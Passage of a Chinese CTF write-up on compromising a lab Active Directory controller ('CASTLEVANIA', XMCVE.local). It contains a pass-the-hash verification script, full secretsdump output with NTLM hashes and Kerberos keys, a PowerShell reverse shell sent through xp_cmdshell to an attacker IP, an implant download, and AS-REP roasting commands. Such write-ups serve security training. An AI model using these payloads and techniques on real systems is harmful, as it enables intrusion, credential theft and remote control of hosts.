    lmhash, nthash = parse_hash_line(hash_line)
    identity = f&amp;quot;{domain}/{username}@{target_name}&amp;quot;
    print(f&amp;quot;[*] principal : {identity}&amp;quot;)
    print(f&amp;quot;[*] target ip : {target_ip}:{smb_port}&amp;quot;)
    print(f&amp;quot;[*] hashes    : {lmhash}:{nthash}&amp;quot;)

    def run_with_retry(command: str) -&amp;gt; str:
        last_error = None
        for attempt in range(1, retries + 1):
            try:
                return smbexec_one_shot(
                    target_name=target_name,
                    target_ip=target_ip,
                    smb_port=smb_port,
                    domain=domain,
                    username=username,
                    password=&amp;quot;&amp;quot;,
                    lmhash=lmhash,
                    nthash=nthash,
                    command=command,
                )
            except Exception as exc:
                last_error = exc
                if attempt == retries:
                    break
                print(f&amp;quot;[*] retry {attempt}/{retries - 1} for {command}: {exc}&amp;quot;)
                time.sleep(retry_delay)
        raise RuntimeError(f&amp;quot;{command} failed after {retries} attempts: {last_error}&amp;quot;)

    whoami_output = run_with_retry(&amp;quot;whoami&amp;quot;)
    whoami_path.write_text(whoami_output, encoding=&amp;quot;utf-8&amp;quot;)
    whoami = extract_proof(whoami_output, &amp;quot;whoami&amp;quot;)
    print(f&amp;quot;[+] whoami    : {whoami}&amp;quot;)

    hostname_output = run_with_retry(&amp;quot;hostname&amp;quot;)
    hostname_path.write_text(hostname_output, encoding=&amp;quot;utf-8&amp;quot;)
    hostname = extract_proof(hostname_output, &amp;quot;hostname&amp;quot;)
    print(f&amp;quot;[+] hostname  : {hostname}&amp;quot;)

    return whoami, hostname


def do_full(args) -&amp;gt; int:
    python_exe = args.python.resolve()
    vboxmanage = args.vboxmanage.resolve() if args.vboxmanage else find_vboxmanage()
    wsl_exe = args.wsl.resolve() if args.wsl else find_wsl()
    secretsdump = args.secretsdump.resolve() if args.secretsdump else find_secretsdump(python_exe)

    ensure_exists(python_exe, &amp;quot;Use a Python interpreter with impacket installed.&amp;quot;)

    args.vbox_home.mkdir(parents=True, exist_ok=True)
    args.offline_dir.mkdir(parents=True, exist_ok=True)
    (ROOT / &amp;quot;vm&amp;quot;).mkdir(parents=True, exist_ok=True)

    print(&amp;quot;[*] extracting OVA if needed&amp;quot;)
    ensure_ova_extracted(args.ova, args.ovf, args.vmdk)

    print(&amp;quot;[*] preparing VDI&amp;quot;)
    ensure_vdi(vboxmanage, args.vmdk, args.vdi)

    print(&amp;quot;[*] registering VM&amp;quot;)
    ensure_vm_registered(vboxmanage, args.vbox_home, args.vm_dir, args.vdi)

    print(&amp;quot;[*] setting NAT forwards&amp;quot;)
    ensure_nat_rules(vboxmanage, args.vbox_home)

    print(&amp;quot;[*] starting VM&amp;quot;)
    restart_vm(vboxmanage, args.vbox_home, args.boot_wait)

    print(&amp;quot;[*] copying offline hives from VMDK&amp;quot;)
    copy_offline_hives(wsl_exe, ROOT, args.offline_dir, args.wsl_distro, args.vmdk)

    print(&amp;quot;[*] running secretsdump&amp;quot;)
    run_secretsdump(python_exe, secretsdump, args.offline_dir, args.dump)

    print(&amp;quot;[*] verifying Administrator shell&amp;quot;)
    whoami, hostname = verify_shell(
        dump_path=args.dump,
        hash_line=args.hash_line,
        domain=args.domain,
        username=args.user,
        target_name=args.target,
        target_ip=args.target_ip,
        smb_port=args.smb_port,
        whoami_path=args.whoami_out,
        hostname_path=args.hostname_out,
        retries=args.verify_retries,
        retry_delay=args.verify_delay,
    )
    print(f&amp;quot;[+] complete   : {whoami} @ {hostname}&amp;quot;)
    return 0


def do_verify(args) -&amp;gt; int:
    print(&amp;quot;[*] verifying Administrator shell&amp;quot;)
    whoami, hostname = verify_shell(
        dump_path=args.dump,
        hash_line=args.hash_line,
        domain=args.domain,
        username=args.user,
        target_name=args.target,
        target_ip=args.target_ip,
        smb_port=args.smb_port,
        whoami_path=args.whoami_out,
        hostname_path=args.hostname_out,
        retries=args.verify_retries,
        retry_delay=args.verify_delay,
    )
    print(f&amp;quot;[+] complete   : {whoami} @ {hostname}&amp;quot;)
    return 0


def build_parser() -&amp;gt; argparse.ArgumentParser:
    parser = argparse.ArgumentParser(description=&amp;quot;One-file local reproduction script for BabyDC.&amp;quot;)
    parser.add_argument(&amp;quot;--python&amp;quot;, type=Path, default=Path(sys.executable), help=&amp;quot;Python interpreter with impacket installed&amp;quot;)
    parser.add_argument(&amp;quot;--domain&amp;quot;, default=&amp;quot;XMCVE.local&amp;quot;)
    parser.add_argument(&amp;quot;--user&amp;quot;, default=&amp;quot;Administrator&amp;quot;)
    parser.add_argument(&amp;quot;--target&amp;quot;, default=&amp;quot;CASTLEVANIA.XMCVE.local&amp;quot;)
    parser.add_argument(&amp;quot;--target-ip&amp;quot;, default=&amp;quot;127.0.0.1&amp;quot;)
    parser.add_argument(&amp;quot;--smb-port&amp;quot;, type=int, default=10445)
    parser.add_argument(&amp;quot;--dump&amp;quot;, type=Path, default=DEFAULT_DUMP)
    parser.add_argument(&amp;quot;--hash-line&amp;quot;, help=&amp;quot;Explicit secretsdump line, overrides --dump in verify mode&amp;quot;)
    parser.add_argument(&amp;quot;--whoami-out&amp;quot;, type=Path, default=DEFAULT_WHOAMI)
    parser.add_argument(&amp;quot;--hostname-out&amp;quot;, type=Path, default=DEFAULT_HOSTNAME)
    parser.add_argument(&amp;quot;--verify-retries&amp;quot;, type=int, default=12, help=&amp;quot;Retry count for post-boot shell validation&amp;quot;)
    parser.add_argument(&amp;quot;--verify-delay&amp;quot;, type=int, default=5, help=&amp;quot;Seconds between shell validation retries&amp;quot;)

    subparsers = parser.add_subparsers(dest=&amp;quot;mode&amp;quot;, required=True)

    full = subparsers.add_parser(&amp;quot;full&amp;quot;, help=&amp;quot;Extract the disk, boot the VM, dump hashes, and verify SYSTEM execution&amp;quot;)
    full.add_argument(&amp;quot;--ova&amp;quot;, type=Path, default=DEFAULT_OVA)
    full.add_argument(&amp;quot;--ovf&amp;quot;, type=Path, default=DEFAULT_OVF)
    full.add_argument(&amp;quot;--vmdk&amp;quot;, type=Path, default=DEFAULT_VMDK)
    full.add_argument(&amp;quot;--vm-dir&amp;quot;, type=Path, default=DEFAULT_VM_DIR)
    full.add_argument(&amp;quot;--vdi&amp;quot;, type=Path, default=DEFAULT_VDI)
    full.add_argument(&amp;quot;--vbox-home&amp;quot;, type=Path, default=DEFAULT_VBOX_HOME)
    full.add_argument(&amp;quot;--offline-dir&amp;quot;, type=Path, default=DEFAULT_OFFLINE_DIR)
    full.add_argument(&amp;quot;--vboxmanage&amp;quot;, type=Path, help=&amp;quot;Override VBoxManage.exe&amp;quot;)
    full.add_argument(&amp;quot;--wsl&amp;quot;, type=Path, help=&amp;quot;Override wsl.exe&amp;quot;)
    full.add_argument(&amp;quot;--wsl-distro&amp;quot;, default=&amp;quot;kali-linux&amp;quot;)
    full.add_argument(&amp;quot;--secretsdump&amp;quot;, type=Path, help=&amp;quot;Override secretsdump.py&amp;quot;)
    full.add_argument(&amp;quot;--boot-wait&amp;quot;, type=int, default=25, help=&amp;quot;Seconds to wait after starting the VM&amp;quot;)
    full.set_defaults(func=do_full)

    verify = subparsers.add_parser(&amp;quot;verify&amp;quot;, help=&amp;quot;Use the dump or a hash line to prove SYSTEM execution&amp;quot;)
    verify.set_defaults(func=do_verify)

    return parser


def main() -&amp;gt; int:
    parser = build_parser()
    args = parser.parse_args()
    return args.func(args)


if __name__ == &amp;quot;__main__&amp;quot;:
    try:
        raise SystemExit(main())
    except Exception as exc:
        print(f&amp;quot;[-] {exc}&amp;quot;, file=sys.stderr)
        raise
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;相关附件&lt;/h2&gt;
&lt;h3&gt;artifacts_system_hostname.txt&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;CASTLEVANIA
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;artifacts_system_whoami.txt&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;nt authority\system
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;artifacts_secretsdump.txt&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;Impacket v0.13.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Target system bootKey: 0xf2092dc6a831d956236d0531aac2cb1e
[*] Dumping cached domain logon information (domain/username:hash)
[*] Dumping LSA Secrets
[*] $MACHINE.ACC 
$MACHINE.ACC:plain_password_hex:11cb3c4d8f86935bed6308e80267da7188de855a9bd5eb2cf282721961fef8645f6282f99245aa4c7bd3ac00370369878d9e31b351f7f0442d3ccb684b1466ffedb013b00d78aab76342cee24a7159c28252956af96ce5047b57c39db55ae5d52c3796e376b11491ad9b5b8e16cb63f93cf5fd3331ff0c5d19d1c35afd507da04bb6fe4e1cf57fb9ac3fa18ec5a6e9569067539b1960d5916689367165a357daec0a0d0f7ceca9f2a5cc2e59f6c8bfd3d148aaa5fd986b551fac6f480a58e0f0f47a99855cc524fe38189dbe2b564b6ed450789d75abe4d3bc25da0a019af44475d8ee15c3c635d31291e4ff1ef1b715
$MACHINE.ACC: aad3b435b51404eeaad3b435b51404ee:85ef092d9016422943e90d8a9dd7be0d
[*] DPAPI_SYSTEM 
dpapi_machinekey:0x36c74f42ecd9620cabba2b23437069ee9cb02c66
dpapi_userkey:0x07abeab07fdc1b473c27cd2cf198aff60f5b2cca
[*] NL$KM 
 0000   ED 59 C8 EA A7 3E E2 5B  27 80 59 7D 40 D0 19 66   .Y...&amp;gt;.[&amp;#39;.Y}@..f
 0010   78 A5 9C 7B 41 23 C4 C4  E2 DD 86 D2 50 B8 60 5C   x..{A#......P.`\
 0020   30 D1 98 7C E6 22 53 F8  A2 F9 7C 45 54 54 47 8A   0..|.&amp;quot;S...|ETTG.
 0030   46 C5 D6 95 10 EE 4E B4  90 0D 2D 46 43 51 9B 82   F.....N...-FCQ..
NL$KM:ed59c8eaa73ee25b2780597d40d0196678a59c7b4123c4c4e2dd86d250b8605c30d1987ce62253f8a2f97c455454478a46c5d69510ee4eb4900d2d4643519b82
[*] _SC_MSSQLSERVER 
(Unknown User):Sql!2026
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Searching for pekList, be patient
[*] PEK # 0 found and decrypted: 71fcd688bf7bd2e18810d37d775b09a2
[*] Reading and decrypting hashes from D:\CTFGAME\2026polarisctf\xd5\xd0\xd0\xc2\xc8\xfc\web\DC\offline\hives\ntds.dit 
Administrator:500:aad3b435b51404eeaad3b435b51404ee:d94f9831271e229dbc6e712097b63168:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Alucard:1000:aad3b435b51404eeaad3b435b51404ee:d94f9831271e229dbc6e712097b63168:::
CASTLEVANIA$:1001:aad3b435b51404eeaad3b435b51404ee:85ef092d9016422943e90d8a9dd7be0d:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:1e3c4fe72e1383c576b4b3aeef4730a8:::
XMCVE.local\p2zhh:1104:aad3b435b51404eeaad3b435b51404ee:bc2bf43119e258bcecf71d44abc29db7:::
XMCVE.local\mowen:1105:aad3b435b51404eeaad3b435b51404ee:efb5fa49a38497a71e144f690860688e:::
XMCVE.local\sales:1106:aad3b435b51404eeaad3b435b51404ee:2b576acbe6bcfda7294d6bd18041b8fe:::
XMCVE.local\support:1107:aad3b435b51404eeaad3b435b51404ee:2b576acbe6bcfda7294d6bd18041b8fe:::
XMCVE.local\it:1108:aad3b435b51404eeaad3b435b51404ee:2b576acbe6bcfda7294d6bd18041b8fe:::
XMCVE.local\hr:1109:aad3b435b51404eeaad3b435b51404ee:2b576acbe6bcfda7294d6bd18041b8fe:::
XMCVE.local\admin:1110:aad3b435b51404eeaad3b435b51404ee:2b576acbe6bcfda7294d6bd18041b8fe:::
XMCVE.local\sqlsvc:1112:aad3b435b51404eeaad3b435b51404ee:d93ef04edb808c5bce3a5bd67b936ca9:::
[*] Kerberos keys from D:\CTFGAME\2026polarisctf\xd5\xd0\xd0\xc2\xc8\xfc\web\DC\offline\hives\ntds.dit 
Administrator:aes256-cts-hmac-sha1-96:13e54f64708d675c0a54eb4b40e2ca21b2fcb3e6298969d741fc6e70a9367786
Administrator:aes128-cts-hmac-sha1-96:aafdd9e5c02b41dece2a83b2d9b4439c
Administrator:des-cbc-md5:80584683e63d5845
Alucard:aes256-cts-hmac-sha1-96:638ca0d75cc190cb5e378f1763dcb62c86e72b88c3daea8b4fbe22071cfe38c2
Alucard:aes128-cts-hmac-sha1-96:af36315453c02abbe2c811ee7fdc5b56
Alucard:des-cbc-md5:585e80b09b6eb561
CASTLEVANIA$:aes256-cts-hmac-sha1-96:b650b664422d901bed18c2db4486fcab456fb43bf134a8c492770af8745e7997
CASTLEVANIA$:aes128-cts-hmac-sha1-96:e52275afd361ca21055702953af73856
CASTLEVANIA$:des-cbc-md5:c2944afee591b594
krbtgt:aes256-cts-hmac-sha1-96:2392ad160e585e1448c5ca4623b9ad48789c267c6488a0074dd86e98457fb5fc
krbtgt:aes128-cts-hmac-sha1-96:7d55d129c8fe6c50aa87cb542775f0a0
krbtgt:des-cbc-md5:e570376eb538c132
XMCVE.local\p2zhh:aes256-cts-hmac-sha1-96:ded2395cf838fe474403b924638ba43ab5bf6f86f6924a172f42158f89523f58
XMCVE.local\p2zhh:aes128-cts-hmac-sha1-96:a8bf626e448308048849c8c607846308
XMCVE.local\p2zhh:des-cbc-md5:386df4e008e96813
XMCVE.local\mowen:aes256-cts-hmac-sha1-96:15163711bf2b1f9b5292a92e92b04a5985e1cb4af3f39c02eec442acf69f8268
XMCVE.local\mowen:aes128-cts-hmac-sha1-96:fab8fe129984295f18a99dcf365e654c
XMCVE.local\mowen:des-cbc-md5:231c7a2a3708029d
XMCVE.local\sales:aes256-cts-hmac-sha1-96:16ca24589ae3946d2703f01517ce6690ba5f047caee666ac1d8fb080818b38d9
XMCVE.local\sales:aes128-cts-hmac-sha1-96:b89a5e96aa707640658d8cd44346d373
XMCVE.local\sales:des-cbc-md5:735125852ad66dd6
XMCVE.local\support:aes256-cts-hmac-sha1-96:18b8e74980ad358e873dd99697c2e03c45cba28d44fda669cb311228fce34f74
XMCVE.local\support:aes128-cts-hmac-sha1-96:ec7850f423890ba5c01a4968e18916f9
XMCVE.local\support:des-cbc-md5:389bfee35e4f7620
XMCVE.local\it:aes256-cts-hmac-sha1-96:9a449caeff406780cd9d064fd51524df50eae35fcef19915a0ac5dfbd2afdaaf
XMCVE.local\it:aes128-cts-hmac-sha1-96:53ec1190fb189b97c666c2dc199a1132
XMCVE.local\it:des-cbc-md5:1c2686548a9d4a16
XMCVE.local\hr:aes256-cts-hmac-sha1-96:de4a4f2a15ef2a47f055791f5042a376090cee935dd1907f6efd8ca3bd4e8fa4
XMCVE.local\hr:aes128-cts-hmac-sha1-96:6bafbe4835641707bf1ea4f16510e016
XMCVE.local\hr:des-cbc-md5:ce9113948c738913
XMCVE.local\admin:aes256-cts-hmac-sha1-96:2e64fb40f4b6b9d9c280f7ff87a7f2c37167d53d28352684b2fd53cd3d9c135a
XMCVE.local\admin:aes128-cts-hmac-sha1-96:741a205f3dbe24d959f2ced9e7cfea8b
XMCVE.local\admin:des-cbc-md5:49d9c74562bca1ce
XMCVE.local\sqlsvc:aes256-cts-hmac-sha1-96:908e3dfe7822951cc25e6639a69a568708050cca32159836d83f977d982874fe
XMCVE.local\sqlsvc:aes128-cts-hmac-sha1-96:adbd4b00d8ac0d8d4f0b0f5a7ee3999b
XMCVE.local\sqlsvc:des-cbc-md5:e9a292087902f10d
[*] Cleaning up... 
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;最终答案&lt;/h2&gt;
&lt;p&gt;最终权限证明如下：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;whoami    -&amp;gt; nt authority\system
hostname  -&amp;gt; CASTLEVANIA
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;对应证据文件为：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;artifacts_secretsdump.txt&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;artifacts_system_whoami.txt&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;artifacts_system_hostname.txt&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;proof_system.png&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;如果只需要快速验证管理员 shell，不需要重新走完整链路，直接执行：&lt;/p&gt;
&lt;p&gt;D:\Python\Python311\python.exe .\babydc_unified.py --python D:\Python\Python311\python.exe verify&lt;/p&gt;
&lt;p&gt;如果需要从当前附件目录重新完整复现，直接执行：&lt;/p&gt;
&lt;p&gt;D:\Python\Python311\python.exe .\babydc_unified.py --python D:\Python\Python311\python.exe full&lt;/p&gt;
&lt;h1&gt;平台漏洞（？？？）&lt;/h1&gt;
&lt;h2&gt;漏洞描述&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/myself%20machine/Castlevania-Unexpected-19.jpeg&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;h2&gt;漏洞发现&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;接口写在前端中&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/myself%20machine/Castlevania-Unexpected-20.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;const He = &amp;quot;/information&amp;quot;;
var Oe = (s =&amp;gt; (s.getNoticeInfo = He + &amp;quot;/getNoticeInfo&amp;quot;,
s.GetRankInfoRequest = He + &amp;quot;/getRankInfo&amp;quot;,
s.getTop10TeamRankForLine = He + &amp;quot;/getTop10TeamRankForLine&amp;quot;,
s.adminGetInformationLog = He + &amp;quot;/adminGetInformationLog&amp;quot;,
s.getOriginalSolveLog = He + &amp;quot;/getOriginalSolveLog&amp;quot;,
s.getTeamBaseInfoForRank = He + &amp;quot;/getTeamBaseInfoForRank&amp;quot;,
s.getUserBaseInfoForRank = He + &amp;quot;/getUserBaseInfoForRank&amp;quot;,
s.getInformationLog = He + &amp;quot;/getInformationLog&amp;quot;,
s.getMyTeamTendencyForLine = He + &amp;quot;/getMyTeamTendencyForLine&amp;quot;,
s.getIdentityBaseOfRank = He + &amp;quot;/getIdentityBaseOfRank&amp;quot;,
s.getRecentSubmitLog = He + &amp;quot;/getRecentSubmitLog&amp;quot;,
s.getMatchTeamAndUserCount = He + &amp;quot;/getMatchTeamAndUserCount&amp;quot;,
s.getChallengeSolveCountRank = He + &amp;quot;/getChallengeSolveCountRank&amp;quot;,
s.getTeamRankWithChallengeInfo = He + &amp;quot;/getTeamRankWithChallengeInfo&amp;quot;,
s.adminGetFlagCheatLog = He + &amp;quot;/adminGetFlagCheatLog&amp;quot;,
s.adminExportScore = He + &amp;quot;/adminExportScore&amp;quot;,
s.getWriteupTemplate = He + &amp;quot;/getWriteUpTemplate&amp;quot;,
s))(Oe || {});
const Sa = s =&amp;gt; E.post(Oe.getNoticeInfo, s)
  , Zn = s =&amp;gt; E.post(Oe.GetRankInfoRequest, s)
  , vm = () =&amp;gt; E.get(Oe.getTop10TeamRankForLine)
  , ym = s =&amp;gt; E.post(Oe.adminGetInformationLog, s)
  , zi = s =&amp;gt; E.post(Oe.getTeamBaseInfoForRank, s)
  , wm = s =&amp;gt; E.post(Oe.getUserBaseInfoForRank, s)
  , Qn = s =&amp;gt; E.post(Oe.getInformationLog, s)
  , bm = () =&amp;gt; E.get(Oe.getMyTeamTendencyForLine)
  , Nm = () =&amp;gt; E.get(Oe.getIdentityBaseOfRank)
  , Di = () =&amp;gt; E.get(Oe.getRecentSubmitLog)
  , _m = () =&amp;gt; E.get(Oe.getMatchTeamAndUserCount)
  , Cm = () =&amp;gt; E.get(Oe.getChallengeSolveCountRank)
  , Sm = s =&amp;gt; E.post(Oe.getTeamRankWithChallengeInfo, s)
  , Ei = s =&amp;gt; E.post(Oe.getOriginalSolveLog, s)
  , km = s =&amp;gt; E.post(Oe.adminGetFlagCheatLog, s)
  , Lm = s =&amp;gt; E.post(Oe.adminExportScore, s)
  , Mm = () =&amp;gt; E.get(Oe.getWriteupTemplate)
  , Tm = (s, t) =&amp;gt; E.post(&amp;quot;/user/adminGetUserList&amp;quot;, {
    page_and_size: s,
    name: t
})
  , Ri = s =&amp;gt; E.post(&amp;quot;/user/adminGetUserInfo&amp;quot;, {
    id: s
})
  , Im = s =&amp;gt; E.post(&amp;quot;/user/getUserLoginLog&amp;quot;, {
    id: s
})
  , Pm = s =&amp;gt; E.post(&amp;quot;/user/getUserSubmitLog&amp;quot;, {
    id: s
})
  , jr = s =&amp;gt; E.post(&amp;quot;/user/adminChangeBanStatus&amp;quot;, s)
  , Fm = s =&amp;gt; E.post(&amp;quot;/user/adminSyncUserAndTeamInfo&amp;quot;, s)
  , vr = () =&amp;gt; E.get(&amp;quot;/user/getUserInfo&amp;quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;漏洞复现&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/myself%20machine/Castlevania-Unexpected-21.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/myself%20machine/Castlevania-Unexpected-22.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;h1&gt;scdyh（Zerologon）&lt;/h1&gt;
&lt;h2&gt;端口扫描&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;| MIIDADCCAeigAwIBAgIQfKZK7ctznLZKnQZokrA1IzANBgkqhkiG9w0BAQUFADA7
| MTkwNwYDVQQDHjAAUwBTAEwAXwBTAGUAbABmAF8AUwBpAGcAbgBlAGQAXwBGAGEA | bABsAGIAYQBjAGswIBcNMjYwMzI4MDIwNjEzWhgPMjA1NjAzMjgwMjA2MTNaMDsx
| OTA3BgNVBAMeMABTAFMATABfAFMAZQBsAGYAXwBTAGkAZwBuAGUAZABfAEYAYQBs
| AGwAYgBhAGMAazCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAMxRhfGS
| jzRvPpZEACdpj+rr3nY/v+rnj/6f9csEPa9jZp9KqHr/jricKUs1ZrH4aNsUUh7T | jmTbThIyELZ9VO38kxo3Mw1gsatZ1aD78UMiA1nqdFZc7KxFokRM8JquD8xlhiH7
| kELXCvrRQ0trXWAWFbXvUyuBR4aOAOVqq3Hy5DmPdc+MrL1QmGGhRWa2EgiaL9vE
| JOoIcnZUF1Bn7bzq70r7R9a26XRBjBVPTGv0jC9vwNoF1C3tTgXeGb45vSzBU2c8 | /h52fxGJQSpALZQLRlwUOKcMD/xAmYF/jsfyWx8jFN/n5w94JZb2NS+m8frTCC5B
| HrK5GJvXSsOxXwkCAwEAATANBgkqhkiG9w0BAQUFAAOCAQEAlTvxAMrdDvLqMbaV
| llLhQMT9WlVAjKHKgijbROdxhm//Ew39VaI5ihBkBRZeg/4i7ItI+yXBnUX/Hugx
| qrItAekUivjN3+aJheNQu5kKBRYKczs41zpHfryUDPPf/pu5oHRxoTZXy+n3gAf+ | dOc9HLH8edRS3MWLg9blorr9BlJgMlFqiYRmXKSPnkco5TneYZwqPq4x1w6CQLfd
| HPMNJiLfk9tix6/w47u+Oicr0CkrlQm1X6IeW3fPEUw5+GjP6TTQ8DnNSu6k+Qgc | jjXlBUG+YXFSoT3aimXn7eXjyXxcoVXtsxEnDKaWRSkqqcH0N5O5Dn0Npl8c2W0I
| rUXTmA==
|_-----END CERTIFICATE-----
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;3268/tcp  open  ldap          syn-ack ttl 128 Microsoft Windows Active Directory LDAP
(Domain: XMCVE.local, Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped    syn-ack ttl 128
9389/tcp  open  mc-nmf        syn-ack ttl 128 .NET Message Framing
49666/tcp open  msrpc         syn-ack ttl 128 Microsoft Windows RPC
49667/tcp open  msrpc         syn-ack ttl 128 Microsoft Windows RPC
49677/tcp open  ncacn_http    syn-ack ttl 128 Microsoft Windows RPC over HTTP 1.0
49678/tcp open  msrpc         syn-ack ttl 128 Microsoft Windows RPC
49697/tcp open  msrpc         syn-ack ttl 128 Microsoft Windows RPC
49738/tcp open  msrpc         syn-ack ttl 128 Microsoft Windows RPC
MAC Address: 08:00:27:5F:60:98 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Service Info: Host: CASTLEVANIA; OS: Windows; CPE: cpe:/o:microsoft:windows
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;Host script results:
|_clock-skew: mean: 0s, deviation: 0s, median: 0s
| nbstat: NetBIOS name: CASTLEVANIA, NetBIOS user: &amp;lt;unknown&amp;gt;, NetBIOS MAC: 08:00:27:5f:60:98
(PCS Systemtechnik/Oracle VirtualBox virtual NIC)
| Names:
|   CASTLEVANIA&amp;lt;00&amp;gt;      Flags: &amp;lt;unique&amp;gt;&amp;lt;active&amp;gt;
|   XMCVE&amp;lt;00&amp;gt;            Flags: &amp;lt;group&amp;gt;&amp;lt;active&amp;gt;
|   XMCVE&amp;lt;1c&amp;gt;            Flags: &amp;lt;group&amp;gt;&amp;lt;active&amp;gt;
|   CASTLEVANIA&amp;lt;20&amp;gt;      Flags: &amp;lt;unique&amp;gt;&amp;lt;active&amp;gt;
|   XMCVE&amp;lt;1b&amp;gt;            Flags: &amp;lt;unique&amp;gt;&amp;lt;active&amp;gt;
| Statistics:
|   08:00:27:5f:60:98:00:00:00:00:00:00:00:00:00:00:00
|   00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00
|_  00:00:00:00:00:00:00:00:00:00:00:00:00:00
| smb2-security-mode:
|   3:1:1:
|_    Message signing enabled and required
| smb2-time:
|   date: 2026-03-28T02:13:29
|_  start_date: N/A
| p2p-conficker:
|   Checking for Conficker.C or higher...
|   Check 1 (port 46026/tcp): CLEAN (Timeout)
|   Check 2 (port 53618/tcp): CLEAN (Timeout)
|   Check 3 (port 62163/udp): CLEAN (Timeout)
|   Check 4 (port 51584/udp): CLEAN (Timeout)
|_  0/4 checks are positive: Host is CLEAN or ports are blocked
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Kerberos 用户枚举&lt;/h2&gt;
&lt;p&gt;前面尝试了 smb、ldap、rpc 等协议的匿名枚举都失败了，看来还是得看看80端口 nuclei扫描的时候发现好像有短文件名解析的漏洞这个扫描结果让我联想到之前看到的一个靶机&lt;/p&gt;
&lt;p&gt;发现 &lt;a href=&quot;http://192.168.39.134/poo_connection.txt&quot;&gt;http://192.168.39.134/poo_connection.txt&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;获得初始凭证&lt;/p&gt;
&lt;p&gt;虽然没有 xp_cmdshell 的权限，但是发现有连接&lt;/p&gt;
&lt;p&gt;发现 POO_PUBLIC 是 sysadmin 权限，有 xp_cmdshell&lt;/p&gt;
&lt;h2&gt;反弹shell&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;exec (&amp;#39;xp_cmdshell &amp;#39;&amp;#39;powershell -nop -w hidden -ep bypass -c &amp;quot;$client = New-Object
System.Net.Sockets.TCPClient(&amp;#39;&amp;#39;&amp;#39;&amp;#39;192.168.39.142&amp;#39;&amp;#39;&amp;#39;&amp;#39;,4444);$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes,0,$bytes.Length)) -ne 0)
{$data = (New-Object System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback = (iex $data 2&amp;gt;&amp;amp;1 | Out-String);$sendback2 = $sendback + &amp;#39;&amp;#39;&amp;#39;&amp;#39;PS &amp;#39;&amp;#39;&amp;#39;&amp;#39; + (Get-Location).Path + &amp;#39;&amp;#39;&amp;#39;&amp;#39;&amp;gt; &amp;#39;&amp;#39;&amp;#39;&amp;#39;;$sendbyte =
([System.Text.Encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Len gth);$stream.Flush()};$client.Close()&amp;quot;&amp;#39;&amp;#39;&amp;#39;) at POO_PUBLIC;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;上线cs，这里讲道理来说有 Windows Defender，但是我也不确定我的免杀起作用了没有&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;iwr http://192.168.39.142:8000/ezad1.exe -OutFile C:\Windows\Tasks\ezad1.exe
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;SharpHound&lt;/h2&gt;
&lt;p&gt;没招了，丢个SharpHound上去跑一下&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;shell C:\Windows\Tasks\SharpHound.exe -c All --zipfilename loot.zip --OutputDirectory C:\Windows\Tasks
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;AS-REP Roasting&lt;/h2&gt;
&lt;p&gt;很容易能发现 &lt;a href=&quot;mailto:MOWEN@XMCVE.LOCAL&quot;&gt;MOWEN@XMCVE.LOCAL&lt;/a&gt; 可以 AS-REP Roast&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;GetNPUsers.py XMCVE.local/mowen -no-pass -dc-ip 192.168.39.134
hashcat -m 18200 mowen.asrep /usr/share/wordlists/rockyou.txt       #1maxwell
&lt;/code&gt;&lt;/pre&gt;
